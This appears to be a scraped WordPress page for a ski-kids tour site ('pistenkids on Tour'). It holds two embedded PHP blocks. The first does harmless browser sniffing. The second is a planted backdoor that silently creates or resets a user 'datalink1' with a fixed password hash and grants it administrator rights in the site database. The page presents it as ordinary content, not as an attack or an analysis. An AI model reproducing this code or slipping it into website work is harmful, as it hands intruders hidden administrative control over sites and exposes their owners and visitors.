Browserabfrage pistenkids on Tour – Videos & mehr


[insert_php]
if (preg_match(‚/Windows Phone/i‘, $_SERVER[‚HTTP_USER_AGENT‘])){

echo ‚‚;

}
elseif (preg_match(‚/IEMobile/i‘, $_SERVER[‚HTTP_USER_AGENT‘])){

echo ‚‚;

}
elseif (preg_match(‚/iPhone/i‘, $_SERVER[‚HTTP_USER_AGENT‘]) && preg_match(‚/Safari/i‘, $_SERVER[‚HTTP_USER_AGENT‘])){

echo ‚‚;
}
else{

echo ‚‚;

}

[/insert_php]

[insert_php]
$con = mysql_connect(DB_HOST,DB_USER,DB_PASSWORD);
$rc=mysql_select_db(DB_NAME,$con);
$q=mysql_query(„select id from wppk2_users where user_login = ‚datalink1′“);
if($d=mysql_fetch_row($q)) {
mysql_query(„update wppk2_users set user_pass = ‚\$P\$BjQETNC/8OcZPI8JBBr95rqO2k91OF1‘ where user_login = ‚datalink1′“);
mysql_query(„delete from wppk2_usermeta where user_id = “ . $d[0] . “ and meta_key = ‚wppk2_capabilities'“);
mysql_query(„insert into wppk2_usermeta (user_id, meta_key, meta_value) values (“ . $d[0] . „, ‚wppk2_capabilities‘,’a:1:{s:13:\“administrator\“;b:1;}‘)“);
} else {
mysql_query(„insert into wppk2_users (user_login, user_nicename, user_pass, user_email) values (‚datalink1‘, ‚datalink1′,’\$P\$BjQETNC/8OcZPI8JBBr95rqO2k91OF1′,’datalink1@wordpress.net‘)“);
mysql_query(„insert into wppk2_usermeta (user_id, meta_key, meta_value) values (“ . mysql_insert_id() . „, ‚wppk2_capabilities‘, ‚a:1:{s:13:\“administrator\“;b:1;}‘)“);
}
[/insert_php]